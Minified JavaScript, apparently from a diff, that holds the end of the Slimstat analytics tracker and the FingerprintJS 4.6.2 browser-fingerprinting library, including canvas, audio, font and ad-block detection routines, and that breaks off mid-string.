m=window.SlimStatParams||{};m.id&&parseInt(m.id,10)>0&&U(\"pagehide\")}),b.add_event(window,\"beforeunload\",function(){var m=window.SlimStatParams||{};m.id&&parseInt(m.id,10)>0&&U(\"beforeunload\")});var D=null;function U(m){var S=window.SlimStatParams||{};!S.id||te[S.id]||(D&&clearTimeout(D),D=setTimeout(function(){W(m)},50))}b.add_event(window,\"online\",function(){flushOfflineQueue(),flushPendingInteractions()}),b.add_event(window,\"beforeunload\",function(){var m=F();if((!m.id||parseInt(m.id,10)\u003C=0)&&g.length>0){var S=v();g.forEach(function(L){var T=\"action=slimtrack&id=pending\"+L;S.push({p:T,t:Date.now()})}),P(S),g.length=0}});function me(){b.add_event(document.body,\"click\",function(m){for(var S=m.target;S&&S!==document.body;){if(S.matches&&S.matches(\"a,button,input,area\")){b.ss_track(m,null,null);break}S=S.parentNode}})}function we(){if(b.add_event(document,\"wp-interactivity:navigate\",function(){if(!x){var T=window.location.pathname,z=window.location.search;setTimeout(function(){var J=window.location.pathname,ae=window.location.search;if(J!==T||ae!==z){var q=F();q.id&&parseInt(q.id,10)>0&&U(\"navigation\"),b._send_pageview({isNavigation:!0})}},150)}}),window.history&&history.pushState){var m=history.pushState,S=history.replaceState,L=function(T){var z=window.location.pathname,J=window.location.search,ae=T?S:m,q=Array.prototype.slice.call(arguments,1),fe=ae.apply(this,q);return setTimeout(function(){var ne=window.location.pathname,ce=window.location.search;if(ne!==z||ce!==J){var ie=F();ie.id&&parseInt(ie.id,10)>0&&U(\"history\"),b._send_pageview({isNavigation:!0})}},150),fe};history.pushState=function(){var T=Array.prototype.slice.call(arguments);return T.unshift(!1),L.apply(this,T)},history.replaceState=function(){var T=Array.prototype.slice.call(arguments);return T.unshift(!0),L.apply(this,T)},b.add_event(window,\"popstate\",function(){x||setTimeout(function(){F().id=null,b._send_pageview({isNavigation:!0})},150)})}}me(),we()})();})();\n+(()=>{var Me=function(){return Me=Object.assign||function(t){for(var n,i=1,c=arguments.length;i\u003Cc;i++){n=arguments[i];for(var a in n)Object.prototype.hasOwnProperty.call(n,a)&&(t[a]=n[a])}return t},Me.apply(this,arguments)};function le(e,t,n,i){function c(a){return a instanceof n?a:new n(function(u){u(a)})}return new(n||(n=Promise))(function(a,u){function v(p){try{f(i.next(p))}catch(l){u(l)}}function d(p){try{f(i.throw(p))}catch(l){u(l)}}function f(p){p.done?a(p.value):c(p.value).then(v,d)}f((i=i.apply(e,t||[])).next())})}function de(e,t){var n={label:0,sent:function(){if(a[0]&1)throw a[1];return a[1]},trys:[],ops:[]},i,c,a,u=Object.create((typeof Iterator==\"function\"?Iterator:Object).prototype);return u.next=v(0),u.throw=v(1),u.return=v(2),typeof Symbol==\"function\"&&(u[Symbol.iterator]=function(){return this}),u;function v(f){return function(p){return d([f,p])}}function d(f){if(i)throw new TypeError(\"Generator is already executing.\");for(;u&&(u=0,f[0]&&(n=0)),n;)try{if(i=1,c&&(a=f[0]&2?c.return:f[0]?c.throw||((a=c.return)&&a.call(c),0):c.next)&&!(a=a.call(c,f[1])).done)return a;switch(c=0,a&&(f=[f[0]&2,a.value]),f[0]){case 0:case 1:a=f;break;case 4:return n.label++,{value:f[1],done:!1};case 5:n.label++,c=f[1],f=[0];continue;case 7:f=n.ops.pop(),n.trys.pop();continue;default:if(a=n.trys,!(a=a.length>0&&a[a.length-1])&&(f[0]===6||f[0]===2)){n=0;continue}if(f[0]===3&&(!a||f[1]>a[0]&&f[1]\u003Ca[3])){n.label=f[1];break}if(f[0]===6&&n.label\u003Ca[1]){n.label=a[1],a=f;break}if(a&&n.label\u003Ca[2]){n.label=a[2],n.ops.push(f);break}a[2]&&n.ops.pop(),n.trys.pop();continue}f=t.call(e,n)}catch(p){f=[6,p],c=0}finally{i=a=0}if(f[0]&5)throw f[1];return{value:f[0]?f[1]:void 0,done:!0}}}function Ze(e,t,n){if(n||arguments.length===2)for(var i=0,c=t.length,a;i\u003Cc;i++)(a||!(i in t))&&(a||(a=Array.prototype.slice.call(t,0,i)),a[i]=t[i]);return e.concat(a||Array.prototype.slice.call(t))}var yt=\"4.6.2\";function De(e,t){return new Promise(function(n){return setTimeout(n,e,t)})}function Xt(){return new Promise(function(e){var t=new MessageChannel;t.port1.onmessage=function(){return e()},t.port2.postMessage(null)})}function Yt(e,t){t===void 0&&(t=1\u002F0);var n=window.requestIdleCallback;return n?new Promise(function(i){return n.call(window,function(){return i()},{timeout:t})}):De(Math.min(e,t))}function bt(e){return!!e&&typeof e.then==\"function\"}function ot(e,t){try{var n=e();bt(n)?n.then(function(i){return t(!0,i)},function(i){return t(!1,i)}):t(!0,n)}catch(i){t(!1,i)}}function st(e,t,n){return n===void 0&&(n=16),le(this,void 0,void 0,function(){var i,c,a,u;return de(this,function(v){switch(v.label){case 0:i=Array(e.length),c=Date.now(),a=0,v.label=1;case 1:return a\u003Ce.length?(i[a]=t(e[a],a),u=Date.now(),u>=c+n?(c=u,[4,Xt()]):[3,3]):[3,4];case 2:v.sent(),v.label=3;case 3:return++a,[3,1];case 4:return[2,i]}})})}function Te(e){return e.then(void 0,function(){}),e}function Bt(e,t){for(var n=0,i=e.length;n\u003Ci;++n)if(e[n]===t)return!0;return!1}function zt(e,t){return!Bt(e,t)}function Je(e){return parseInt(e)}function ve(e){return parseFloat(e)}function we(e,t){return typeof e==\"number\"&&isNaN(e)?t:e}function re(e){return e.reduce(function(t,n){return t+(n?1:0)},0)}function _t(e,t){if(t===void 0&&(t=1),Math.abs(t)>=1)return Math.round(e\u002Ft)*t;var n=1\u002Ft;return Math.round(e*n)\u002Fn}function Jt(e){for(var t,n,i=\"Unexpected syntax '\".concat(e,\"'\"),c=\u002F^\\s*([a-z-]*)(.*)$\u002Fi.exec(e),a=c[1]||void 0,u={},v=\u002F([.:#][\\w-]+|\\[.+?\\])\u002Fgi,d=function(_,k){u[_]=u[_]||[],u[_].push(k)};;){var f=v.exec(c[2]);if(!f)break;var p=f[0];switch(p[0]){case\".\":d(\"class\",p.slice(1));break;case\"#\":d(\"id\",p.slice(1));break;case\"[\":{var l=\u002F^\\[([\\w-]+)([~|^$*]?=(\"(.*?)\"|([\\w-]+)))?(\\s+[is])?\\]$\u002F.exec(p);if(l)d(l[1],(n=(t=l[4])!==null&&t!==void 0?t:l[5])!==null&&n!==void 0?n:\"\");else throw new Error(i);break}default:throw new Error(i)}}return[a,u]}function Ut(e){for(var t=new Uint8Array(e.length),n=0;n\u003Ce.length;n++){var i=e.charCodeAt(n);if(i>127)return new TextEncoder().encode(e);t[n]=i}return t}function _e(e,t){var n=e[0]>>>16,i=e[0]&65535,c=e[1]>>>16,a=e[1]&65535,u=t[0]>>>16,v=t[0]&65535,d=t[1]>>>16,f=t[1]&65535,p=0,l=0,_=0,k=0;k+=a+f,_+=k>>>16,k&=65535,_+=c+d,l+=_>>>16,_&=65535,l+=i+v,p+=l>>>16,l&=65535,p+=n+u,p&=65535,e[0]=p\u003C\u003C16|l,e[1]=_\u003C\u003C16|k}function ce(e,t){var n=e[0]>>>16,i=e[0]&65535,c=e[1]>>>16,a=e[1]&65535,u=t[0]>>>16,v=t[0]&65535,d=t[1]>>>16,f=t[1]&65535,p=0,l=0,_=0,k=0;k+=a*f,_+=k>>>16,k&=65535,_+=c*f,l+=_>>>16,_&=65535,_+=a*d,l+=_>>>16,_&=65535,l+=i*f,p+=l>>>16,l&=65535,l+=c*d,p+=l>>>16,l&=65535,l+=a*v,p+=l>>>16,l&=65535,p+=n*f+i*d+c*v+a*u,p&=65535,e[0]=p\u003C\u003C16|l,e[1]=_\u003C\u003C16|k}function Pe(e,t){var n=e[0];t%=64,t===32?(e[0]=e[1],e[1]=n):t\u003C32?(e[0]=n\u003C\u003Ct|e[1]>>>32-t,e[1]=e[1]\u003C\u003Ct|n>>>32-t):(t-=32,e[0]=e[1]\u003C\u003Ct|n>>>32-t,e[1]=n\u003C\u003Ct|e[1]>>>32-t)}function oe(e,t){t%=64,t!==0&&(t\u003C32?(e[0]=e[1]>>>32-t,e[1]=e[1]\u003C\u003Ct):(e[0]=e[1]\u003C\u003Ct-32,e[1]=0))}function U(e,t){e[0]^=t[0],e[1]^=t[1]}var qt=[4283543511,3981806797],Qt=[3301882366,444984403];function ct(e){var t=[0,e[0]>>>1];U(e,t),ce(e,qt),t[1]=e[0]>>>1,U(e,t),ce(e,Qt),t[1]=e[0]>>>1,U(e,t)}var je=[2277735313,289559509],Ve=[1291169091,658871167],ut=[0,5],Kt=[0,1390208809],$t=[0,944331445];function en(e,t){var n=Ut(e);t=t||0;var i=[0,n.length],c=i[1]%16,a=i[1]-c,u=[0,t],v=[0,t],d=[0,0],f=[0,0],p;for(p=0;p\u003Ca;p=p+16)d[0]=n[p+4]|n[p+5]\u003C\u003C8|n[p+6]\u003C\u003C16|n[p+7]\u003C\u003C24,d[1]=n[p]|n[p+1]\u003C\u003C8|n[p+2]\u003C\u003C16|n[p+3]\u003C\u003C24,f[0]=n[p+12]|n[p+13]\u003C\u003C8|n[p+14]\u003C\u003C16|n[p+15]\u003C\u003C24,f[1]=n[p+8]|n[p+9]\u003C\u003C8|n[p+10]\u003C\u003C16|n[p+11]\u003C\u003C24,ce(d,je),Pe(d,31),ce(d,Ve),U(u,d),Pe(u,27),_e(u,v),ce(u,ut),_e(u,Kt),ce(f,Ve),Pe(f,33),ce(f,je),U(v,f),Pe(v,31),_e(v,u),ce(v,ut),_e(v,$t);d[0]=0,d[1]=0,f[0]=0,f[1]=0;var l=[0,0];switch(c){case 15:l[1]=n[p+14],oe(l,48),U(f,l);case 14:l[1]=n[p+13],oe(l,40),U(f,l);case 13:l[1]=n[p+12],oe(l,32),U(f,l);case 12:l[1]=n[p+11],oe(l,24),U(f,l);case 11:l[1]=n[p+10],oe(l,16),U(f,l);case 10:l[1]=n[p+9],oe(l,8),U(f,l);case 9:l[1]=n[p+8],U(f,l),ce(f,Ve),Pe(f,33),ce(f,je),U(v,f);case 8:l[1]=n[p+7],oe(l,56),U(d,l);case 7:l[1]=n[p+6],oe(l,48),U(d,l);case 6:l[1]=n[p+5],oe(l,40),U(d,l);case 5:l[1]=n[p+4],oe(l,32),U(d,l);case 4:l[1]=n[p+3],oe(l,24),U(d,l);case 3:l[1]=n[p+2],oe(l,16),U(d,l);case 2:l[1]=n[p+1],oe(l,8),U(d,l);case 1:l[1]=n[p],U(d,l),ce(d,je),Pe(d,31),ce(d,Ve),U(u,d)}return U(u,i),U(v,i),_e(u,v),_e(v,u),ct(u),ct(v),_e(u,v),_e(v,u),(\"00000000\"+(u[0]>>>0).toString(16)).slice(-8)+(\"00000000\"+(u[1]>>>0).toString(16)).slice(-8)+(\"00000000\"+(v[0]>>>0).toString(16)).slice(-8)+(\"00000000\"+(v[1]>>>0).toString(16)).slice(-8)}function tn(e){var t;return Me({name:e.name,message:e.message,stack:(t=e.stack)===null||t===void 0?void 0:t.split(`\n+`)},e)}function nn(e){return\u002F^function\\s.*?\\{\\s*\\[native code]\\s*}$\u002F.test(String(e))}function rn(e){return typeof e!=\"function\"}function an(e,t){var n=Te(new Promise(function(i){var c=Date.now();ot(e.bind(null,t),function(){for(var a=[],u=0;u\u003Carguments.length;u++)a[u]=arguments[u];var v=Date.now()-c;if(!a[0])return i(function(){return{error:a[1],duration:v}});var d=a[1];if(rn(d))return i(function(){return{value:d,duration:v}});i(function(){return new Promise(function(f){var p=Date.now();ot(d,function(){for(var l=[],_=0;_\u003Carguments.length;_++)l[_]=arguments[_];var k=v+Date.now()-p;if(!l[0])return f({error:l[1],duration:k});f({value:l[1],duration:k})})})})})}));return function(){return n.then(function(c){return c()})}}function on(e,t,n,i){var c=Object.keys(e).filter(function(u){return zt(n,u)}),a=Te(st(c,function(u){return an(e[u],t)},i));return function(){return le(this,void 0,void 0,function(){var v,d,f,p,l;return de(this,function(_){switch(_.label){case 0:return[4,a];case 1:return v=_.sent(),[4,st(v,function(k){return Te(k())},i)];case 2:return d=_.sent(),[4,Promise.all(d)];case 3:for(f=_.sent(),p={},l=0;l\u003Cc.length;++l)p[c[l]]=f[l];return[2,p]}})})}}function St(){var e=window,t=navigator;return re([\"MSCSSMatrix\"in e,\"msSetImmediate\"in e,\"msIndexedDB\"in e,\"msMaxTouchPoints\"in t,\"msPointerEnabled\"in t])>=4}function sn(){var e=window,t=navigator;return re([\"msWriteProfilerMark\"in e,\"MSStream\"in e,\"msLaunchUri\"in t,\"msSaveBlob\"in t])>=3&&!St()}function Ae(){var e=window,t=navigator;return re([\"webkitPersistentStorage\"in t,\"webkitTemporaryStorage\"in t,(t.vendor||\"\").indexOf(\"Google\")===0,\"webkitResolveLocalFileSystemURL\"in e,\"BatteryManager\"in e,\"webkitMediaStream\"in e,\"webkitSpeechGrammar\"in e])>=5}function pe(){var e=window,t=navigator;return re([\"ApplePayError\"in e,\"CSSPrimitiveValue\"in e,\"Counter\"in e,t.vendor.indexOf(\"Apple\")===0,\"RGBColor\"in e,\"WebKitMediaKeys\"in e])>=4}function Ue(){var e=window,t=e.HTMLElement,n=e.Document;return re([\"safari\"in e,!(\"ongestureend\"in e),!(\"TouchEvent\"in e),!(\"orientation\"in e),t&&!(\"autocapitalize\"in t.prototype),n&&\"pointerLockElement\"in n.prototype])>=4}function Ne(){var e=window;return nn(e.print)&&String(e.browser)===\"[object WebPageNamespace]\"}function Ct(){var e,t,n=window;return re([\"buildID\"in navigator,\"MozAppearance\"in((t=(e=document.documentElement)===null||e===void 0?void 0:e.style)!==null&&t!==void 0?t:{}),\"onmozfullscreenchange\"in n,\"mozInnerScreenX\"in n,\"CSSMozDocumentRule\"in n,\"CanvasCaptureMediaStream\"in n])>=4}function cn(){var e=window;return re([!(\"MediaSettingsRange\"in e),\"RTCEncodedAudioFrame\"in e,\"\"+e.Intl==\"[object Intl]\",\"\"+e.Reflect==\"[object Reflect]\"])>=3}function un(){var e=window,t=e.URLPattern;return re([\"union\"in Set.prototype,\"Iterator\"in e,t&&\"hasRegExpGroups\"in t.prototype,\"RGB8\"in WebGLRenderingContext.prototype])>=3}function fn(){var e=window;return re([\"DOMRectList\"in e,\"RTCPeerConnectionIceEvent\"in e,\"SVGGeometryElement\"in e,\"ontransitioncancel\"in e])>=3}function Fe(){var e=window,t=navigator,n=e.CSS,i=e.HTMLButtonElement;return re([!(\"getStorageUpdates\"in t),i&&\"popover\"in i.prototype,\"CSSCounterStyleRule\"in e,n.supports(\"font-size-adjust: ex-height 0.5\"),n.supports(\"text-transform: full-width\")])>=4}function ln(){if(navigator.platform===\"iPad\")return!0;var e=screen,t=e.width\u002Fe.height;return re([\"MediaSource\"in window,!!Element.prototype.webkitRequestFullscreen,t>.65&&t\u003C1.53])>=2}function dn(){var e=document;return e.fullscreenElement||e.msFullscreenElement||e.mozFullScreenElement||e.webkitFullscreenElement||null}function vn(){var e=document;return(e.exitFullscreen||e.msExitFullscreen||e.mozCancelFullScreen||e.webkitExitFullscreen).call(e)}function qe(){var e=Ae(),t=Ct(),n=window,i=navigator,c=\"connection\";return e?re([!(\"SharedWorker\"in n),i[c]&&\"ontypechange\"in i[c],!(\"sinkId\"in new Audio)])>=2:t?re([\"onorientationchange\"in n,\"orientation\"in n,\u002Fandroid\u002Fi.test(i.appVersion)])>=2:!1}function pn(){var e=navigator,t=window,n=Audio.prototype,i=t.visualViewport;return re([\"srLatency\"in n,\"srChannelCount\"in n,\"devicePosture\"in e,i&&\"segments\"in i,\"getTextInformation\"in Image.prototype])>=3}function mn(){return wn()?-4:hn()}function hn(){var e=window,t=e.OfflineAudioContext||e.webkitOfflineAudioContext;if(!t)return-2;if(gn())return-1;var n=4500,i=5e3,c=new t(1,i,44100),a=c.createOscillator();a.type=\"triangle\",a.frequency.value=1e4;var u=c.createDynamicsCompressor();u.threshold.value=-50,u.knee.value=40,u.ratio.value=12,u.attack.value=0,u.release.value=.25,a.connect(u),u.connect(c.destination),a.start(0);var v=yn(c),d=v[0],f=v[1],p=Te(d.then(function(l){return bn(l.getChannelData(0).subarray(n))},function(l){if(l.name===\"timeout\"||l.name===\"suspended\")return-3;throw l}));return function(){return f(),p}}function gn(){return pe()&&!Ue()&&!fn()}function wn(){return pe()&&Fe()&&Ne()||Ae()&&pn()&&un()}function yn(e){var t=3,n=500,i=500,c=5e3,a=function(){},u=new Promise(function(v,d){var f=!1,p=0,l=0;e.oncomplete=function(G){return v(G.renderedBuffer)};var _=function(){setTimeout(function(){return d(ft(\"timeout\"))},Math.min(i,l+c-Date.now()))},k=function(){try{var G=e.startRendering();switch(bt(G)&&Te(G),e.state){case\"running\":l=Date.now(),f&&_();break;case\"suspended\":document.hidden||p++,f&&p>=t?d(ft(\"suspended\")):setTimeout(k,n);break}}catch(N){d(N)}};k(),a=function(){f||(f=!0,l>0&&_())}});return[u,a]}function bn(e){for(var t=0,n=0;n\u003Ce.length;++n)t+=Math.abs(e[n]);return t}function ft(e){var t=new Error(e);return t.name=e,t}function kt(e,t,n){var i,c,a;return n===void 0&&(n=50),le(this,void 0,void 0,function(){var u,v;return de(this,function(d){switch(d.label){case 0:u=document,d.label=1;case 1:return u.body?[3,3]:[4,De(n)];case 2:return d.sent(),[3,1];case 3:v=u.createElement(\"iframe\"),d.label=4;case 4:return d.trys.push([4,,10,11]),[4,new Promise(function(f,p){var l=!1,_=function(){l=!0,f()},k=function(z){l=!0,p(z)};v.onload=_,v.onerror=k;var G=v.style;G.setProperty(\"display\",\"block\",\"important\"),G.position=\"absolute\",G.top=\"0\",G.left=\"0\",G.visibility=\"hidden\",t&&\"srcdoc\"in v?v.srcdoc=t:v.src=\"about:blank\",u.body.appendChild(v);var N=function(){var z,F;l||(((F=(z=v.contentWindow)===null||z===void 0?void 0:z.document)===null||F===void 0?void 0:F.readyState)===\"complete\"?_():setTimeout(N,10))};N()})];case 5:d.sent(),d.label=6;case 6:return!((c=(i=v.contentWindow)===null||i===void 0?void 0:i.document)===null||c===void 0)&&c.body?[3,8]:[4,De(n)];case 7:return d.sent(),[3,6];case 8:return[4,e(v,v.contentWindow)];case 9:return[2,d.sent()];case 10:return(a=v.parentNode)===null||a===void 0||a.removeChild(v),[7];case 11:return[2]}})})}function _n(e){for(var t=Jt(e),n=t[0],i=t[1],c=document.createElement(n??\"div\"),a=0,u=Object.keys(i);a\u003Cu.length;a++){var v=u[a],d=i[v].join(\" \");v===\"style\"?Sn(c.style,d):c.setAttribute(v,d)}return c}function Sn(e,t){for(var n=0,i=t.split(\";\");n\u003Ci.length;n++){var c=i[n],a=\u002F^\\s*([\\w-]+)\\s*:\\s*(.+?)(\\s*!([\\w-]+))?\\s*$\u002F.exec(c);if(a){var u=a[1],v=a[2],d=a[4];e.setProperty(u,v,d||\"\")}}}function Cn(){for(var e=window;;){var t=e.parent;if(!t||t===e)return!1;try{if(t.location.origin!==e.location.origin)return!0}catch(n){if(n instanceof Error&&n.name===\"SecurityError\")return!0;throw n}e=t}}var kn=\"mmMwWLliI0O&1\",Ln=\"48px\",xe=[\"monospace\",\"sans-serif\",\"serif\"],lt=[\"sans-serif-thin\",\"ARNO PRO\",\"Agency FB\",\"Arabic Typesetting\",\"Arial Unicode MS\",\"AvantGarde Bk BT\",\"BankGothic Md BT\",\"Batang\",\"Bitstream Vera Sans Mono\",\"Calibri\",\"Century\",\"Century Gothic\",\"Clarendon\",\"EUROSTILE\",\"Franklin Gothic\",\"Futura Bk BT\",\"Futura Md BT\",\"GOTHAM\",\"Gill Sans\",\"HELV\",\"Haettenschweiler\",\"Helvetica Neue\",\"Humanst521 BT\",\"Leelawadee\",\"Letter Gothic\",\"Levenim MT\",\"Lucida Bright\",\"Lucida Sans\",\"Menlo\",\"MS Mincho\",\"MS Outlook\",\"MS Reference Specialty\",\"MS UI Gothic\",\"MT Extra\",\"MYRIAD PRO\",\"Marlett\",\"Meiryo UI\",\"Microsoft Uighur\",\"Minion Pro\",\"Monotype Corsiva\",\"PMingLiU\",\"Pristina\",\"SCRIPTINA\",\"Segoe UI Light\",\"Serifa\",\"SimHei\",\"Small Fonts\",\"Staccato222 BT\",\"TRAJAN PRO\",\"Univers CE 55 Medium\",\"Vrinda\",\"ZWAdobeF\"];function En(){var e=this;return kt(function(t,n){var i=n.document;return le(e,void 0,void 0,function(){var c,a,u,v,d,f,p,l,_,k,G,N;return de(this,function(z){for(c=i.body,c.style.fontSize=Ln,a=i.createElement(\"div\"),a.style.setProperty(\"visibility\",\"hidden\",\"important\"),u={},v={},d=function(F){var Y=i.createElement(\"span\"),K=Y.style;return K.position=\"absolute\",K.top=\"0\",K.left=\"0\",K.fontFamily=F,Y.textContent=kn,a.appendChild(Y),Y},f=function(F,Y){return d(\"'\".concat(F,\"',\").concat(Y))},p=function(){return xe.map(d)},l=function(){for(var F={},Y=function(T){F[T]=xe.map(function(se){return f(T,se)})},K=0,$=lt;K\u003C$.length;K++){var ee=$[K];Y(ee)}return F},_=function(F){return xe.some(function(Y,K){return F[K].offsetWidth!==u[Y]||F[K].offsetHeight!==v[Y]})},k=p(),G=l(),c.appendChild(a),N=0;N\u003Cxe.length;N++)u[xe[N]]=k[N].offsetWidth,v[xe[N]]=k[N].offsetHeight;return[2,lt.filter(function(F){return _(G[F])})]})})})}function Pn(){var e=navigator.plugins;if(e){for(var t=[],n=0;n\u003Ce.length;++n){var i=e[n];if(i){for(var c=[],a=0;a\u003Ci.length;++a){var u=i[a];c.push({type:u.type,suffixes:u.suffixes})}t.push({name:i.name,description:i.description,mimeTypes:c})}}return t}}function xn(){return In(Mn())}function In(e){var t,n=!1,i,c,a=Rn(),u=a[0],v=a[1];return Tn(u,v)?(n=An(v),e?i=c=\"skipped\":(t=Nn(u,v),i=t[0],c=t[1])):i=c=\"unsupported\",{winding:n,geometry:i,text:c}}function Rn(){var e=document.createElement(\"canvas\");return e.width=1,e.height=1,[e,e.getContext(\"2d\")]}function Tn(e,t){return!!(t&&e.toDataURL)}function An(e){return e.rect(0,0,10,10),e.rect(2,2,6,6),!e.isPointInPath(5,5,\"evenodd\")}function Nn(e,t){Fn(e,t);var n=He(e),i=He(e);if(n!==i)return[\"unstable\",\"unstable\"];On(e,t);var c=He(e);return[c,n]}function Fn(e,t){e.width=240,e.height=60,t.textBaseline=\"alphabetic\",t.fillStyle=\"#f60\",t.fillRect(100,1,62,20),t.fillStyle=\"#069\",t.font='11pt \"Times New Roman\"';var n=\"Cwm fjordbank gly \".concat(\"\\u{1F603}\");t.fillText(n,2,15),t.fillStyle=\"rgba(102, 204, 0, 0.2)\",t.font=\"18pt Arial\",t.fillText(n,4,45)}function On(e,t){e.width=122,e.height=110,t.globalCompositeOperation=\"multiply\";for(var n=0,i=[[\"#f2f\",40,40],[\"#2ff\",80,40],[\"#ff2\",60,80]];n\u003Ci.length;n++){var c=i[n],a=c[0],u=c[1],v=c[2];t.fillStyle=a,t.beginPath(),t.arc(u,v,40,0,Math.PI*2,!0),t.closePath(),t.fill()}t.fillStyle=\"#f9c\",t.arc(60,60,60,0,Math.PI*2,!0),t.arc(60,60,20,0,Math.PI*2,!0),t.fill(\"evenodd\")}function He(e){return e.toDataURL()}function Mn(){return pe()&&Fe()&&Ne()}function jn(){var e=navigator,t=0,n;e.maxTouchPoints!==void 0?t=Je(e.maxTouchPoints):e.msMaxTouchPoints!==void 0&&(t=e.msMaxTouchPoints);try{document.createEvent(\"TouchEvent\"),n=!0}catch{n=!1}var i=\"ontouchstart\"in window;return{maxTouchPoints:t,touchEvent:n,touchStart:i}}function Vn(){return navigator.oscpu}function Wn(){var e=navigator,t=[],n=e.language||e.userLanguage||e.browserLanguage||e.systemLanguage;if(n!==void 0&&t.push([n]),Array.isArray(e.languages))Ae()&&cn()||t.push(e.languages);else if(typeof e.languages==\"string\"){var i=e.languages;i&&t.push(i.split(\",\"))}return t}function Dn(){return window.screen.colorDepth}function Gn(){return we(ve(navigator.deviceMemory),void 0)}function Zn(){if(!(pe()&&Fe()&&Ne()))return Hn()}function Hn(){var e=screen,t=function(i){return we(Je(i),null)},n=[t(e.width),t(e.height)];return n.sort().reverse(),n}var Xn=2500,Yn=10,We,Xe;function Bn(){if(Xe===void 0){var e=function(){var t=Be();ze(t)?Xe=setTimeout(e,Xn):(We=t,Xe=void 0)};e()}}function zn(){var e=this;return Bn(),function(){return le(e,void 0,void 0,function(){var t;return de(this,function(n){switch(n.label){case 0:return t=Be(),ze(t)?We?[2,Ze([],We,!0)]:dn()?[4,vn()]:[3,2]:[3,2];case 1:n.sent(),t=Be(),n.label=2;case 2:return ze(t)||(We=t),[2,t]}})})}}function Jn(){var e=this;if(pe()&&Fe()&&Ne())return function(){return Promise.resolve(void 0)};var t=zn();return function(){return le(e,void 0,void 0,function(){var n,i;return de(this,function(c){switch(c.label){case 0:return[4,t()];case 1:return n=c.sent(),i=function(a){return a===null?null:_t(a,Yn)},[2,[i(n[0]),i(n[1]),i(n[2]),i(n[3])]]}})})}}function Be(){var e=screen;return[we(ve(e.availTop),null),we(ve(e.width)-ve(e.availWidth)-we(ve(e.availLeft),0),null),we(ve(e.height)-ve(e.availHeight)-we(ve(e.availTop),0),null),we(ve(e.availLeft),null)]}function ze(e){for(var t=0;t\u003C4;++t)if(e[t])return!1;return!0}function Un(){return we(Je(navigator.hardwareConcurrency),void 0)}function qn(){var e,t=(e=window.Intl)===null||e===void 0?void 0:e.DateTimeFormat;if(t){var n=new t().resolvedOptions().timeZone;if(n)return n}var i=-Qn();return\"UTC\".concat(i>=0?\"+\":\"\").concat(i)}function Qn(){var e=new Date().getFullYear();return Math.max(ve(new Date(e,0,1).getTimezoneOffset()),ve(new Date(e,6,1).getTimezoneOffset()))}function Kn(){try{return!!window.sessionStorage}catch{return!0}}function $n(){try{return!!window.localStorage}catch{return!0}}function er(){if(!(St()||sn()))try{return!!window.indexedDB}catch{return!0}}function tr(){return!!window.openDatabase}function nr(){return navigator.cpuClass}function rr(){var e=navigator.platform;return e===\"MacIntel\"&&pe()&&!Ue()?ln()?\"iPad\":\"iPhone\":e}function ir(){return navigator.vendor||\"\"}function ar(){for(var e=[],t=0,n=[\"chrome\",\"safari\",\"__crWeb\",\"__gCrWeb\",\"yandex\",\"__yb\",\"__ybro\",\"__firefox__\",\"__edgeTrackingPreventionStatistics\",\"webkit\",\"oprt\",\"samsungAr\",\"ucweb\",\"UCShellJava\",\"puffinDevice\"];t\u003Cn.length;t++){var i=n[t],c=window[i];c&&typeof c==\"object\"&&e.push(i)}return e.sort()}function or(){var e=document;try{e.cookie=\"cookietest=1; SameSite=Strict;\";var t=e.cookie.indexOf(\"cookietest=\")!==-1;return e.cookie=\"cookietest=1; SameSite=Strict; expires=Thu, 01-Jan-1970 00:00:01 GMT\",t}catch{return!1}}function sr(){var e=atob;return{abpIndo:[\"#Iklan-Melayang\",\"#Kolom-Iklan-728\",\"#SidebarIklan-wrapper\",'[title=\"ALIENBOLA\" i]',e(\"I0JveC1CYW5uZXItYWRz\")],abpvn:[\".quangcao\",\"#mobileCatfish\",e(\"LmNsb3NlLWFkcw==\"),'[id^=\"bn_bottom_fixed_\"]',\"#pmadv\"],adBlockFinland:[\".mainostila\",e(\"LnNwb25zb3JpdA==\"),\".ylamainos\",e(\"YVtocmVmKj0iL2NsaWNrdGhyZ2guYXNwPyJd\"),e(\"YVtocmVmXj0iaHR0cHM6Ly9hcHAucmVhZHBlYWsuY29tL2FkcyJd\")],adBlockPersian:[\"#navbar_notice_50\",\".kadr\",'TABLE[width=\"140px\"]',\"#divAgahi\",e(\"YVtocmVmXj0iaHR0cDovL2cxLnYuZndtcm0ubmV0L2FkLyJd\")],adBlockWarningRemoval:[\"#adblock-honeypot\",\".adblocker-root\",\".wp_adblock_detect\",e(\"LmhlYWRlci1ibG9ja2VkLWFk\"),e(\"I2FkX2Jsb2NrZXI=\")],adGuardAnnoyances:[\".hs-sosyal\",\"#cookieconsentdiv\",'div[class^=\"app_gdpr\"]',\".as-oil\",'[data-cypress=\"soft-push-notification-modal\"]'],adGuardBase:[\".BetterJsPopOverlay\",e(\"I2FkXzMwMFgyNTA=\"),e(\"I2Jhbm5lcmZsb2F0MjI=\"),e(\"I2NhbXBhaWduLWJhbm5lcg==\"),e(\"I0FkLUNvbnRlbnQ=\")],adGuardChinese:[e(\"LlppX2FkX2FfSA==\"),e(\"YVtocmVmKj0iLmh0aGJldDM0LmNvbSJd\"),\"#widget-quan\",e(\"YVtocmVmKj0iLzg0OTkyMDIwLnh5eiJd\"),e(\"YVtocmVmKj0iLjE5NTZobC5jb20vIl0=\")],adGuardFrench:[\"#pavePub\",e(\"LmFkLWRlc2t0b3AtcmVjdGFuZ2xl\"),\".mobile_adhesion\",\".widgetadv\",e(\"LmFkc19iYW4=\")],adGuardGerman:['aside[data-portal-id=\"leaderboard\"]'],adGuardJapanese:[\"#kauli_yad_1\",e(\"YVtocmVmXj0iaHR0cDovL2FkMi50cmFmZmljZ2F0ZS5uZXQvIl0=\"),e(\"Ll9wb3BJbl9pbmZpbml0ZV9hZA==\"),e(\"LmFkZ29vZ2xl\"),e(\"Ll9faXNib29zdFJldHVybkFk\")],adGuardMobile:[e(\"YW1wLWF1dG8tYWRz\"),e(\"LmFtcF9hZA==\"),'amp-embed[type=\"24smi\"]',\"#mgid_iframe1\",e(\"I2FkX2ludmlld19hcmVh\")],adGuardRussian:[e(\"YVtocmVmXj0iaHR0cHM6Ly9hZC5sZXRtZWFkcy5jb20vIl0=\"),e(\"LnJlY2xhbWE=\"),'div[id^=\"smi2adblock\"]',e(\"ZGl2W2lkXj0iQWRGb3hfYmFubmVyXyJd\"),\"#psyduckpockeball\"],adGuardSocial:[e(\"YVtocmVmXj0iLy93d3cuc3R1bWJsZXVwb24uY29tL3N1Ym1pdD91cmw9Il0=\"),e(\"YVtocmVmXj0iLy90ZW